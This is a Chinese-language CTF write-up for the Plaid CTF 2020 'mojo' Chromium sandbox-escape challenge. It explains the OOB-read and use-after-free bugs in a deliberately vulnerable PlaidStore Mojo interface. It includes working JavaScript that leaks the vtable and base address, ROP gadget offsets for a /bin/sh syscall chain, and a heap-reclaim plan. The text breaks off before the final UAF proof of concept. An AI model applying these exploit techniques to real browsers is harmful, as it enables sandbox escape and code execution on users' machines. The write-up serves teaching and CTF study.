Plaid CTF 2020 mojo Writeup

1. 简介

Plaid CTF 2020 mojo 是 chromium sandbox escape 沙箱逃逸的一道基础题,适合用于chrome入门。

题目来源 - ctftime - task11314

2. 环境配置

  • dockerfile中的命令可知,启动chrome的脚本为visit.sh。而该脚本的内容如下

    1
    2
    #!/bin/bash
    timeout 20 ./chrome --headless --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest "$1"
  • visit.sh中的命令可知,启动chrome的命令为

    1
    ./chrome --headless --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest <URL>

    我们可以设置一个--user-data-dir参数来更加方便地使用DevTools

    加上这个参数后,最直观的作用就是执行JS代码时,所有的console.log输出都将会同步输出至终端

    1
    2
    3
    4
    5
    6
    7
    8
    基础知识:将DevTools用作协议客户端
    开发人员工具前端可以连接到远程运行的Chrome实例进行调试。为了使这种情况起作用,您应该使用remote-debugging-port命令行开关启动主机Chrome实例:

    chrome.exe --remote-debugging-port= 9222
    然后,您可以使用不同的用户个人资料启动单独的客户端Chrome实例:

    chrome.exe --user-data-dir = <someDir>
    现在,您可以从客户端导航到给定的端口,并附加到任何已发现的选项卡以进行调试:http://localhost:9222

    即我们最后实际启动chrome的命令为

    1
    ./chrome --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS,MojoJSTest <URL>

    --headless:Chrome-headless 模式, Google 针对 Chrome 浏览器 59版 新增加的一种模式,可以让你不打开UI界面的情况下使用 Chrome 浏览器,所以运行效果与 Chrome 保持完美一致。使用该参数将不会启动chrome的GUI界面,如需启动GUI界面则需删除该参数。

    --enable-blink-features:启用一个或多个启用Blink内核运行时的功能。在这里启用了MojoJS

  • 笔者第一次执行时会报错,提示No usable sandbox

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    # Kiprey @ Kipwn in /usr/class/CTFs/mojo/chrome [15:10:00] C:1
    $ ./chrome --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS test.html
    [1003/151007.365372:FATAL:zygote_host_impl_linux.cc(116)] No usable sandbox! Update your kernel or see https://chromium.googlesource.com/chromium/src/+/master/docs/linux/suid_sandbox_development.md for more information on developing with the SUID sandbox. If you want to live dangerously and need an immediate workaround, you can try using --no-sandbox.
    #0 0x560df69de579 base::debug::CollectStackTrace()
    #1 0x560df69426f3 base::debug::StackTrace::StackTrace()
    #2 0x560df6954475 logging::LogMessage::~LogMessage()
    #3 0x560df824a22e service_manager::ZygoteHostImpl::Init()
    #4 0x560df652ad37 content::ContentMainRunnerImpl::Initialize()
    #5 0x560df657965a service_manager::Main()
    #6 0x560df6529351 content::ContentMain()
    #7 0x560df657849d headless::(anonymous namespace)::RunContentMain()
    #8 0x560df657819b headless::HeadlessShellMain()
    #9 0x560df3feac27 ChromeMain
    #10 0x7f953511cbbb __libc_start_main
    #11 0x560df3feaa6a _start

    Received signal 6
    #0 0x560df69de579 base::debug::CollectStackTrace()
    #1 0x560df69426f3 base::debug::StackTrace::StackTrace()
    #2 0x560df69de120 base::debug::(anonymous namespace)::StackDumpSignalHandler()
    #3 0x7f95373c7520 (/usr/lib/x86_64-linux-gnu/libpthread-2.29.so+0x1351f)
    #4 0x7f953512ff61 gsignal
    #5 0x7f953511b535 abort
    #6 0x560df69dd075 base::debug::BreakDebugger()
    #7 0x560df6954914 logging::LogMessage::~LogMessage()
    #8 0x560df824a22e service_manager::ZygoteHostImpl::Init()
    #9 0x560df652ad37 content::ContentMainRunnerImpl::Initialize()
    #10 0x560df657965a service_manager::Main()
    #11 0x560df6529351 content::ContentMain()
    #12 0x560df657849d headless::(anonymous namespace)::RunContentMain()
    #13 0x560df657819b headless::HeadlessShellMain()
    #14 0x560df3feac27 ChromeMain
    #15 0x7f953511cbbb __libc_start_main
    #16 0x560df3feaa6a _start
    r8: 0000000000000000 r9: 00007ffcf028b6e0 r10: 0000000000000008 r11: 0000000000000246
    r12: 00007ffcf028c9a8 r13: 00007ffcf028b980 r14: 00007ffcf028c9b0 r15: aaaaaaaaaaaaaaaa
    di: 0000000000000002 si: 00007ffcf028b6e0 bp: 00007ffcf028b930 bx: 00007ffcf028b9a4
    dx: 0000000000000000 ax: 0000000000000000 cx: 00007f953512ff61 sp: 00007ffcf028b6e0
    ip: 00007f953512ff61 efl: 0000000000000246 cgf: 002b000000000033 erf: 0000000000000000
    trp: 0000000000000000 msk: 0000000000000000 cr2: 0000000000000000
    [end of stack trace]
    Calling _exit(1). Core file will not be generated.

    需要执行以下命令,以启用非特权用户命名空间 - sandbox问题参考

    linux命名空间是一种轻量级的虚拟化手段 - 参考

    1
    sudo sysctl -w kernel.unprivileged_userns_clone=1

    之后即可正常运行chrome

  • 调试浏览器时,最好在本地开一个web服务,而不是让浏览器直接访问本地html文件,因为这其中访问的协议是不一样的。浏览器访问web服务的协议是http,而访问本地文件的协议是file

    调试时尽量架设本地服务器来避免file协议与http协议实现过程中的某些差异,例如某些API的差异、跨域请求的差异等。

    我们在这里可以使用python自带的httpServer来启动一个web服务

    1
    python3 -m http.server 8000
  • 使用gdb script来调试chrome

    1
    2
    3
    4
    5
    6
    7
    # gdbinit
    # 读取符号
    file ./chrome
    # 设置启动参数
    set args --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS http://localhost:8000/test.html
    # 设置执行fork后继续调试父进程
    set follow-fork-mode parent

    之后运行以下命令即可启动调试。

    1
    gdb -x gidbinit

3. Mojo简介

  • Chrome安全体系架构的关键支撑就是沙箱。Chrome将网络的大部分攻击面(例如:DOM渲染、脚本执行、媒体解码等)限制在沙箱进程中。同时,存在一个中央进程,称之为浏览器进程,该进程可以完全不带沙箱运行。而Chrome的数个进程需要相互通信以完成工作协调,而这就涉及到了进程间或进程内的模块间通信IPC,Inter-Process Communication)其中,Mojo是Chromium提供的用于IPC的一种机制。

  • 在Chrome中,Mojo机制使用C++实现。但Mojo仍然提供针对C++和JS语言的调用接口。

  • 我们可以通过启用MojoJS blink绑定(在Chrome命令行中使用--enable-blink-features=MojoJS)来模拟一个渲染器进程。这些绑定将Mojo平台直接暴露给JavaScript,从而使我们可以完全绕过Blink绑定,直接使用JS来调用Mojo平台中的代码。

    可以简单的理解为,Mojo的JS接口通过--enable-blink-features=MojoJS参数打开,这样外部JS代码可以直接调用Mojo的JS接口,降低漏洞利用难点。

  • 更多信息可以阅读Mojo Docs

4. 漏洞分析

注意!在阅读漏洞分析前,请先详细阅读

该文的翻译不是很到位,建议直接阅读原文

并理解其中关于Mojo的更多详细信息以及指针生命周期的漏洞问题。该题基于上述文章中的漏洞改编而成。

a. 代码提取

该题给出了一个plaidstore.diff文件。而这个diff文件向我们展示了新声明的Mojo接口。我们需要通过调用对应的MojoJS接口来利用其中的漏洞。

plaidstore.diff文件中可以看出,该版本实现了一个新接口PlaidStore。将相关代码从中剥离整理出,可分为三类:

  • 一部分代码是在原Chrome代码中添加的代码片段。

    搜索可得,在PopulateFrameBinders函数中,该题新增了一个回调函数 - 源码

    通过chrome代码交叉引用查询可得,调用层次为

    BrowserInterfaceBrokerImpl::PopulateBinderMap -> PopulateBinderMap -> PopulateFrameBinders

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    void PopulateFrameBinders(RenderFrameHostImpl* host, mojo::BinderMap* map) {
    //....
    // 新添加的内容
    map->Add<blink::mojom::PlaidStore>(
    base::BindRepeating(&RenderFrameHostImpl::CreatePlaidStore,
    base::Unretained(host)));
    }

    void RenderFrameHostImpl::CreatePlaidStore(
    mojo::PendingReceiver<blink::mojom::PlaidStore> receiver)
    {
    PlaidStoreImpl::Create(this, std::move(receiver));
    }
  • 再一部分代码是mojo特有的接口文件,届时将会根据此文件生成对应接口xx。而该接口的实际实现是xxImpl

    例如,下面定义的接口为PlaidStore,但C++中实际实现为PlaidStoreImpl

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    // PlaidStore.mojom文件
    module blink.mojom;

    // This interface provides a data store
    interface PlaidStore
    {

    // Stores data in the data store
    StoreData(string key, array<uint8> data);

    // Gets data from the data store
    GetData(string key, uint32 count) = > (array<uint8> data);
    };
  • 最后一部分代码是声明的PlaidStore接口所对应的C++实现PlaidStoreImpl

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    namespace content
    {
    PlaidStoreImpl::PlaidStoreImpl(
    RenderFrameHost *render_frame_host)
    : render_frame_host_(render_frame_host) {}

    PlaidStoreImpl::~PlaidStoreImpl() {}

    void PlaidStoreImpl::StoreData(
    const std::string &key,
    const std::vector<uint8_t> &data)
    {
    if (!render_frame_host_->IsRenderFrameLive())
    {
    return;
    }
    data_store_[key] = data;
    }

    void PlaidStoreImpl::GetData(
    const std::string &key,
    uint32_t count,
    GetDataCallback callback)
    {
    if (!render_frame_host_->IsRenderFrameLive())
    {
    std::move(callback).Run({});
    return;
    }
    auto it = data_store_.find(key);
    if (it == data_store_.end())
    {
    std::move(callback).Run({});
    return;
    }
    std::vector<uint8_t> result(it->second.begin(), it->second.begin() count);
    std::move(callback).Run(result);
    }

    // static
    void PlaidStoreImpl::Create(
    RenderFrameHost *render_frame_host,
    mojo::PendingReceiver<blink::mojom::PlaidStore> receiver)
    {
    mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
    std::move(receiver));
    }

    } // namespace content

    namespace content
    {
    class RenderFrameHost;

    class PlaidStoreImpl : public blink::mojom::PlaidStore
    {
    public:
    explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);

    static void Create(
    RenderFrameHost *render_frame_host,
    mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);

    ~PlaidStoreImpl() override;

    // PlaidStore overrides:
    void StoreData(
    const std::string &key,
    const std::vector<uint8_t> &data) override;

    void GetData(
    const std::string &key,
    uint32_t count,
    GetDataCallback callback) override;

    private:
    // 注意这里的`render_frame_host_`
    RenderFrameHost *render_frame_host_;
    std::map<std::string, std::vector<uint8_t>> data_store_;
    };
    } // namespace content

b. OOB漏洞

OOB(Out Of Bound)是信息外带漏洞,例如越界读取等都属于OOB漏洞。

在函数PlaidStoreImpl::GetData中,程序并没有对传入的参数count进行判断,因此该函数可以越界读取,返回比实际存储范围更大的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void PlaidStoreImpl::GetData(
const std::string &key,
uint32_t count,
GetDataCallback callback)
{
if (!render_frame_host_->IsRenderFrameLive())
{
std::move(callback).Run({});
return;
}
auto it = data_store_.find(key);
if (it == data_store_.end())
{
std::move(callback).Run({});
return;
}
// 将传入的count作为数据的获取量,返回count单位的数据
std::vector<uint8_t> result(it->second.begin(), it->second.begin() count);
std::move(callback).Run(result);
}

c. UAF漏洞

  • PlaidStoreImpl类执行构造函数时,该类的一个实例将会保存传入的render_frame_host原始指针。(注意保留的是原始指针而不是智能指针

    1
    2
    3
    PlaidStoreImpl::PlaidStoreImpl(
    RenderFrameHost *render_frame_host)
    : render_frame_host_(render_frame_host) {}
  • PlaidStoreImpl::Create函数内部会调用mojo::MakeSelfOwnedReceiver函数。该函数将会把Mojo管道的一端Receiver与当前PlaidStoreImpl实例关联(注意传入的render_frame_host使用的 unique智能指针类型为PlaidStoreImpl)。这样,当Mojo管道关闭或者发生错误,recevier便可将当前PlaidStoreImpl实例释放。如此便达到了关联PlaidStoreImpl生命周期的目的。

    1
    2
    3
    4
    5
    6
    7
    8
    // static
    void PlaidStoreImpl::Create(
    RenderFrameHost *render_frame_host,
    mojo::PendingReceiver<blink::mojom::PlaidStore> receiver)
    {
    mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
    std::move(receiver));
    }

    但是,render_frame_host并没有与当前PlaidStoreImpl实例关联。也就是说若render_frame_host被析构,当前PlaidStoreImpl实例将仍然存在。

    一个render进程中的RenderFrame对应browser进程中的RenderFrameHost

    当打开新的tab或iframe时,browser将会对应的创建RenderFrameHost对象

    释放也是如此,当某个tab或iframe被释放时,对应的RenderFrameHost对象将会被释放

    参考:Chromium网页Frame Tree创建过程分析

    这样,我们可以在保证Mojo Pipe不断开的前提下,将render_frame_host析构,之后就可以在PlaidStoreImpl类函数中继续使用render_frame_host,以达到UAF的目的。

    总结:

    1. 若关闭Mojo管道,则PlaidStoreImpl实例将会被析构;

    2. 若析构render_frame_host,则对应PlaidStoreImpl实例将仍然存在。

5. 调试与利用过程

a. OOB

  • 我们先写一段OOB POC,看看会泄露出什么信息。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    <html>
    <!-- 调用MojoJS接口时一定要将这些js包含入html中 -->
    <script src="mojo_js/mojo/public/js/mojo_bindings.js"></script>
    <script src="mojo_js/third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
    <script>
    function dec2hex(dec) {
    return "0x" + dec.toString(16);
    }
    function bytes2DWORD(bytes) {
    var value = 0;
    for (let i = 0; i < 8; i++) {
    value = value * 0x100 + bytes[7 - i];
    }
    return value;
    }
    function success(msg) {
    console.log('[+] ' + msg);
    document.body.innerText += '[+] ' + msg + '\n';
    }

    // OOB漏洞测试
    function oob() {
    console.log("OOB");
    // 获取plaidStore实例
    var plaidStorePtr = new blink.mojom.PlaidStorePtr();
    // 将plaidStore实例与mojo pipe绑定
    Mojo.bindInterface(
    blink.mojom.PlaidStore.name, // interfaceName
    // 建立mojo pipe,并返回该管道的handle
    mojo.makeRequest(plaidStorePtr).handle, // request_handle
    "context", // scope
    true); // userBroserInterfaceBroker
    // plaidStore中存储的是int8类型的值。本次填充0x10个元素
    plaidStorePtr.storeData("aaaa", [0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38,
    0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48]);
    // getData接口返回Promise对象,需要获取其中的PromiseValue
    plaidStorePtr.getData("aaaa", 0x18).then(res => {
    // 返回的数组元素是int8类型
    // 对数组使用slice函数,取数组的第0x20至0x50个的元素
    success(dec2hex(bytes2DWORD(res.data.slice(0x10, 0x18))));
    })
    }
    oob();
    </script>

    </html>
  • 启动调试器后,先在PlaidStoreImpl::Create函数上下个断点

    之后执行run,断在PlaidStoreImpl::Create函数内部。在这里我们可以注意到,PlaidStoreImpl的大小为0x28bytes。

    为什么sizeof(PlaidStoreImpl) == 0x28呢?因为下一个要执行的函数是operator new。而这个0x28正是传入的内存大小。

    如何知道那个0x555xxxxx函数是operator new呢?先单步跟踪进去,然后一个frame指令,或者将函数调用链打印出来的bt指令。第一个函数就是。

    再一个简单的方法就是使用c++filt命令,将name mangling后的函数名称还原回先前的函数名称。

    同时,当operator new函数执行完成后,返回的%rax地址即为PlaidStoreImpl的地址。使用set $ps_addr = $rax gdb命令将该地址存储到gdb的临时变量中。之后直接执行finish命令,跳过该函数剩余的构造PlaidStoreImpl实例的过程(该过程包括但不限于设置虚表地址等)。

  • fini命令之后,我们先看一下PlaidStoreImpl实例的内存布局(相关成员均标注在图片上)

    C++的编译器保证虚函数表的指针存在于对象实例中最前面的位置。

  • 我们看一下map的相关内存结构,看看到底泄露的是什么地址 - chrome std::map 源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    class _LIBCPP_TEMPLATE_VIS map
    {
    // ...
    private:
    // ...
    typedef __tree<__value_type, __vc, __allocator_type> __base;
    __base __tree_;
    // ...
    }

    众所周知,map内部使用rb_tree,因此我们继续点进去看看 - chrome std::tree 源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    template <class _Tp, class _Compare, class _Allocator>
    class __tree
    {
    public:
    typedef _Tp value_type;
    typedef _Compare value_compare;
    typedef _Allocator allocator_type;

    private:
    typedef allocator_traits<allocator_type> __alloc_traits;
    typedef typename __make_tree_node_types<value_type,
    typename __alloc_traits::void_pointer>::type
    _NodeTypes;
    typedef typename _NodeTypes::__parent_pointer __parent_pointer;
    typedef typename _NodeTypes::__iter_pointer __iter_pointer;
    // ...
    private:
    __iter_pointer __begin_node_;
    __compressed_pair<__end_node_t, __node_allocator> __pair1_;
    __compressed_pair<size_type, value_compare> __pair3_;
    // ...

    可以看到,该tree有三个成员变量,而第一个pointer指向的是根结点。tree成员变量的数量也与我们PlaidStoreImpl内存布局所对应。

  • 我们再看看tree第一个pointer所指向的叶结点的成员变量有哪些 - chrome tree_node 源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    template <class _Pointer>
    class __tree_end_node
    {
    public:
    typedef _Pointer pointer;
    pointer __left_;
    // ....
    };

    template <class _VoidPtr>
    class __tree_node_base
    : public __tree_node_base_types<_VoidPtr>::__end_node_type
    {

    public:
    typedef typename _NodeBaseTypes::__node_base_pointer pointer;
    typedef typename _NodeBaseTypes::__parent_pointer __parent_pointer;

    pointer __right_;
    __parent_pointer __parent_;
    bool __is_black_;

    // ...
    private:
    // ...
    };

    template <class _Tp, class _VoidPtr>
    class __tree_node
    : public __tree_node_base<_VoidPtr>
    {
    public:
    typedef _Tp __node_value_type;
    __node_value_type __value_;
    private:
    // ...
    };

    即,一个__tree_node实例有以下五个成员,分别是

    1
    2
    3
    4
    5
    pointer             __left_;
    pointer __right_;
    __parent_pointer __parent_;
    bool __is_black_;
    __node_value_type __value_; // `__node_value_type`在这里是`pair<string, vector<uint8_t>>`

    最后,我们查看一下__tree_node内存布局

    在查看内存布局前,先令chrome执行完PlaidStoreImpl::storeData函数,将数据存入tree,方便调试。

    图中红色框的0x30字节为__value__成员变量。其中,前0x18个字节是string类实例(注意那个0x0000000061616161,这正是填入的keyString1111),后0x18字节是vector类实例。

  • vector成员变量如下,该类共有三个成员,这里我们只关心__begin_成员所指向的内存。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    template <class _Allocator>
    class _LIBCPP_TEMPLATE_VIS vector<bool, _Allocator>
    : private __vector_base_common<true>
    {
    // ...
    private:
    __storage_pointer __begin_;
    size_type __size_;
    __compressed_pair<size_type, __storage_allocator> __cap_alloc_;
    // ...

    以下是该vector所指向的内存位置,可以看到前0x10个字节的值是先前执行PlaidStore::storeData函数时写入的。而我们可以通过该vector越界向后读取。

为什么要这么大动干戈,从上向下查找vector的泄露地址呢?因为我们需要寻找一下,这个地址是否与其他已经获得的地址之间存在关系

在这题中,我们可以确认vecotr __begin_PlaidStoreImpl地址位于同一个段。

  • 那么,该越界读取什么来泄露信息,泄露什么信息呢?

    由于PlaidStore实例与vector __begin_所指向的地址位于同一个段。同时,PlaidStore实例中存在虚表,因此我们可以通过vector来越界读取PlaidStore vtable地址。这样就可以通过虚表地址确定一系列的地址(包括但不限于确定ELF基地址等)。

    类实例的虚表位于rodata段中,也就是说,vtable地址与ELF基地址的相对偏移是保持不变的。

    我们需要大量分配PlaidStoreImplvector,使它们呈线性交替存放,之后就可以通过越界读来获取虚表地址

    注意虚表地址中的后三个十六进制数0x7a0,我们将通过这个来识别读取到的数据是否是虚表地址,而不是采用相对偏移的方式来读取,这样就可以最大程度上避免由于内存分配器的不同而导致的偏移差异

    而虚表与chrome基地址的偏移为0x000055555f50a7a0 - 0x555555554000 == 0x9fb67a0,获取虚表地址后就可以通过相对偏移来计算出ELF基地址。

    ELF基地址有了之后,我们就可以以下命令来获取一系列gadgets地址。

    1
    ROPgadget --binary ./chrome > gadgets.txt

    由于chrome文件过大,执行该命令时需要4GB内存左右

    建立出的gadgets.txt的文件大小将近400MB

    这样就可以获取到以下gadget的相对偏移

    这些gadgets组合在一起便可劫持栈,并利用syscall执行/bin/sh

    1
    2
    3
    4
    5
    6
    0x000000000880dee8 : xchg rax, rsp ; clc ; pop rbp ; ret
    0x0000000002e4630f : pop rdi ; ret
    0x0000000002d278d2 : pop rsi ; ret
    0x0000000002e9998e : pop rdx ; ret
    0x0000000002e651dd : pop rax ; ret
    0x0000000002ef528d : syscall
  • 所以最终,我们编写以下代码来泄露我们的目标地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    <html>
    <!-- 调用MojoJS接口时一定要将这些js包含入html中 -->
    <script src="mojo_js/mojo/public/js/mojo_bindings.js"></script>
    <script src="mojo_js/third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
    <script>
    function dec2hex(dec) {
    return "0x" + dec.toString(16);
    }
    function bytes2DWORD(bytes) {
    var value = 0;
    for (let i = 0; i < 8; i++) {
    value = value * 0x100 + bytes[7 - i];
    }
    return value;
    }
    function success(msg) {
    console.log('[+] ' + msg);
    document.body.innerText += '[+] ' + msg + '\n';
    }
    async function pwn() {
    var try_size = 100;
    var plaidStorePtrList = [];
    for (let i = 0; i < try_size; i++) {
    var plaidStorePtr = new blink.mojom.PlaidStorePtr();

    Mojo.bindInterface(
    blink.mojom.PlaidStore.name,
    mojo.makeRequest(plaidStorePtr).handle,
    "context",
    true);
    await plaidStorePtr.storeData("aaaa", new Uint8Array(0x28).fill(0x30 + i));
    plaidStorePtrList.push(plaidStorePtr);
    }
    var PlaidStore_vtable_addr = 0;
    var render_frame_host_addr = 0;
    for (let i = 0; i < try_size; i++) {
    // 注意这里使用await,保证异步操作。因为promise回调是同步的。
    // 获取返回的promiseValue
    let res = await plaidStorePtrList[i].getData("aaaa", 0x100);
    let data = res.data;
    for (let j = 0x28; j < 0x100 - 0x8; j += 0x8) {
    // 尽管返回的是string,但仍然可以直接当作十六进制数字来使用。
    var hex = bytes2DWORD(data.slice(j, j + 0x8));
    if ((hex & 0xfff) == 0x7a0) {
    PlaidStore_vtable_addr = dec2hex(hex);
    render_frame_host_addr = dec2hex(bytes2DWORD(data.slice(j + 0x8, j + 0x10)));
    success("PlaidStore vtable: " + PlaidStore_vtable_addr);
    success("render_frame_host: " + render_frame_host_addr);
    break;
    }
    }
    if (PlaidStore_vtable_addr != 0)
    break;
    }
    if (PlaidStore_vtable_addr == 0)
    throw "PlaidStore vtable addr leak failed!";

    var chromeTextBase = PlaidStore_vtable_addr - 0x9fb67a0;
    success("chrome Text Base: " + dec2hex(chromeTextBase));

    var xchg_addr = chromeTextBase + 0x000000000880dee8;
    success("xchg_addr: " + dec2hex(xchg_addr));

    var pop_rdi_ret = chromeTextBase + 0x0000000002e4630f;
    success("pop_rdi_ret: " + dec2hex(pop_rdi_ret));

    var pop_rsi_ret = chromeTextBase + 0x0000000002d278d2;
    success("pop_rsi_ret: " + dec2hex(pop_rsi_ret));

    var pop_rdx_ret = chromeTextBase + 0x0000000002e9998e;
    success("pop_rdx_ret: " + dec2hex(pop_rdx_ret));

    var pop_rax_ret = chromeTextBase + 0x0000000002e651dd;
    success("pop_rax_ret: " + dec2hex(pop_rax_ret));

    var syscall_addr = chromeTextBase + 0x0000000002ef528d;
    success("syscall_addr: " + dec2hex(syscall_addr));
    }
    pwn();
    </script>

    </html>

    泄露出的地址为

    1
    2
    3
    4
    5
    6
    7
    8
    9
    [+] PlaidStore vtable: 0x557731d667a0
    [+] render_frame_host: 0x2fde7ced7000
    [+] chrome Text Base: 0x557727db0000
    [+] xchg_addr: 0x5577305bdee8
    [+] pop_rdi_ret: 0x55772abf630f
    [+] pop_rsi_ret: 0x55772aad78d2
    [+] pop_rdx_ret: 0x55772ac4998e
    [+] pop_rax_ret: 0x55772ac151dd
    [+] syscall_addr: 0x55772aca528d

b. UAF

  • 由于render_frame_host_的UAF,render_frame_host_指针所指向的RenderFrameHostImpl内存位置是完全可控的(因为这块内存可以先被free,后被我们allocate)。

    同时,我们可以利用先前找到的xchg rax, rsp,将$rax值和$rsp值交换,这样就可以劫持栈,之后执行我们的gadgets

    $rax值应该怎么控制呢?请向下翻页查看下图,当执行虚函数时,%rax值正好为render_frame_host_的虚表地址vtable entry,因此我们还是可以通过控制RenderFrameHostImpl内存区域来设置%rax的值。这里我们设置该vtable entryrender_frame_host_ + 0x10,即,render_frame_host_[0] = render_frame_host_ + 0x10(这段话有点绕,请仔细思考)

    因此,我们完全可以在render_frame_host_指针所指向的内存区域上布置我们的gadgets

  • 但在此之前,我们需要获取一下render_frame_host_所使用的某个虚函数在虚表的相对偏移。这里我们选择获取IsRenderFrameLive虚函数的偏移。

    我们在PlaidStoreImpl::GetData函数下断,单步跟踪几步即可显示该函数的偏移。如图所示,IsRenderFrameLive函数在虚表中的相对偏移为0x160

  • 之后,我们就可以精心构建gadget布局。

  • 在布局gadget前还有一个问题:我们该如何在释放render_frame_host_所指向的内存之后,再将这块内存分配回来?这里有个小知识点,chrome中的内存管理使用的是TCMalloc机制。又因为StoreData函数分配的vector<uint8_t>render_frame_host_使用的是同一个分配器,只要大量分配大小与RenderFrameHostImpl相等的vector,就有可能占位成功。

    TCMalloc(Thread-Caching Malloc)实现了高效的多线程内存管理,用于替代系统的内存分配相关的函数 - TCMalloc解密

    那么sizeof(RenderFrameHostImpl)等于多少呢?我们调试看看。

    首先在content::RenderFrameHostImpl::RenderFrameHostImpl构造函数上下断点,并重新执行

    1
    2
    pwndbg> b content::RenderFrameHostImpl::RenderFrameHostImpl
    pwndbg> r

    我们的目的是找到执行该构造函数的上一个函数,并查看在执行RenderFrameHostImpl构造函数前,执行operator new时传入的大小。

    如图所示,我们的目标是content::RenderFrameHostFactory::Create函数。下断并重新执行

    单步跟踪RenderFrameHostFactory::Create函数,在整个函数中只有一处地方调用operator new。而这里的0xc28正是RenderFrameHostImpl的大小。

  • 当我们创建一个child iframe并建立一个PlaidStoreImpl实例后。如果我们关闭这个child iframe,则对应的RenderFrameHost将会自动关闭;但于此同时,child iframe所对应的PlaidStoreImpl与browser建立的mojo管道将会被断开而该管道一但断开,则PlaidStoreImpl实例将会被析构

    因此,我们需要在关闭child iframe之前,将管道的remote端移交给parent iframe,使得child iframePlaidStoreImpl实例在iframe关闭后仍然存活。

    回想一下,正常情况下,当关闭一个iframe时,RenderFrameHost将会被析构mojo管道将会被关闭。此时Mojo管道的关闭一定会带动PlaidStoreImpl的析构,这样就可以析构掉所有该析构的对象。

    但这里却没有,因为在关闭child iframe前,已经将该iframe所持有的Mojo管道Remote移交出去了,因此在关闭child iframe时将不会关闭Mojo管道。而PlaidStoreImpl的生命周期并没有与RenderFrameHost相关联。即RenderFrameHost的析构完全不影响PlaidStoreImpl实例的生命周期。所以,PlaidStoreImpl实例将不会被析构。

    那么,问题是,该如何移交Mojo管道的remote端呢? 答案是:使用MojoInterfaceInterceptor。该功能可以拦截来自同一进程中其他iframeMojo.bindInterface调用。在child iframe被销毁前,我们可以利用该功能将mojo管道的一端传递给parent iframe

    以下是来自其他exp的相关代码,我们可以通过该代码片段来了解MojoInterfaceInterceptor的具体使用方式:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    var kPwnInterfaceName = "pwn";

    // runs in the child frame
    function sendPtr() {
    var pipe = Mojo.createMessagePipe();
    // bind the InstalledAppProvider with the child rfh
    Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
    pipe.handle1, "context", true);

    // pass the endpoint handle to the parent frame
    Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
    }

    // runs in the parent frame
    function getFreedPtr() {
    return new Promise(function (resolve, reject) {
    var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash

    // intercept bindInterface calls for this process to accept the handle from the child
    let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
    interceptor.oninterfacerequest = function(e) {
    interceptor.stop();

    // bind and return the remote
    var provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);
    freeRFH(frame);
    resolve(provider_ptr);
    }
    interceptor.start();
    });
    }
  • 现在,我们已经解决了所有潜在的问题,UAF的利用方式应该是这样的

    • child iframe中Mojo 管道的remote端移交至parent iframe,使得Mojo管道仍然保持连接。
    • 释放child iframe
    • 多次分配内存,使得分配到原先被释放RenderFrameHostImpl的内存区域
    • 写入目标数据
    • 执行child iframe对应的PlaidStoreImpl::GetData函数。
  • 写个POC验证一下UAF

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
